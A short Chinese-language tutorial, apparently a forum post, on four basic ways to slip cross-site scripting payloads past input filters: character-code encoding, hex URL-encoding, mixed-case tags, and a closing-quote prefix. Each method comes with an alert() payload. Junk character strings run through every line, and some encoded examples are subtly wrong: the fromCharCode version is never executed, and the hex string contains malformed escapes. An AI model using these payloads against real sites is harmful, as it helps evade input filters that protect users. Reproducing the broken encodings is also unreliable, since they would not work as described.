四种超级基础的绕过方法。
+ P9 @5 `/ C$ F1 L% ~, j' W1.转换为ASCII码
( |% x9 }$ c% l, @例子:原脚本为<script>alert(‘I love F4ck’)</script >+ L+ |& h+ J7 ^5 q- y# `0 d/ S$ R: p
通过转换,变成:
2 ?. e3 l$ M7 K, i3 e<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
5 \* K* n: t9 e5 b% g0 I; W$ s ! ]9 F, o5 W9 A8 M- e
2.转换为HEX(十六进制)& R1 C. X; l1 H! ~/ T) P5 o2 n
例子:原脚本为<script>alert(‘I love F4ck’)</script>
9 ^4 q M! M/ y3 J: \通过转换,变成:/ I4 n; t4 K" P
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e: o: y) F( {/ u9 i
3 e) |1 K7 j6 G" u5 G% a$ L
3.转换脚本的大小写/ u e( N5 b p5 s/ I9 g0 G
例子:原脚本为<script>alert(‘I love F4ck’)</script>* H3 u: I( T. D
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>$ [& M( _% @! j6 D4 m
3 K) _0 L# j% P. l. [5 I, W
4.增加闭合标记”>) S! p1 ^) g' X0 q5 `
例子:原脚本为<script>alert(‘I love F4ck’)</script>
$ Z0 e9 {- [/ _/ q9 B* t转换为:”><script>alert(‘I love F4ck’)</script>$ p5 u( h2 z {/ b
更详细绕过技术请参考此网页
- c% d7 N, ~& Y# y4 Phttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
; d3 N3 B6 b& G, C6 V1 c+ ?
' ]4 `, F# a O# O/ V/ z转换工具使用的是火狐的 hackbar mozilla addon. |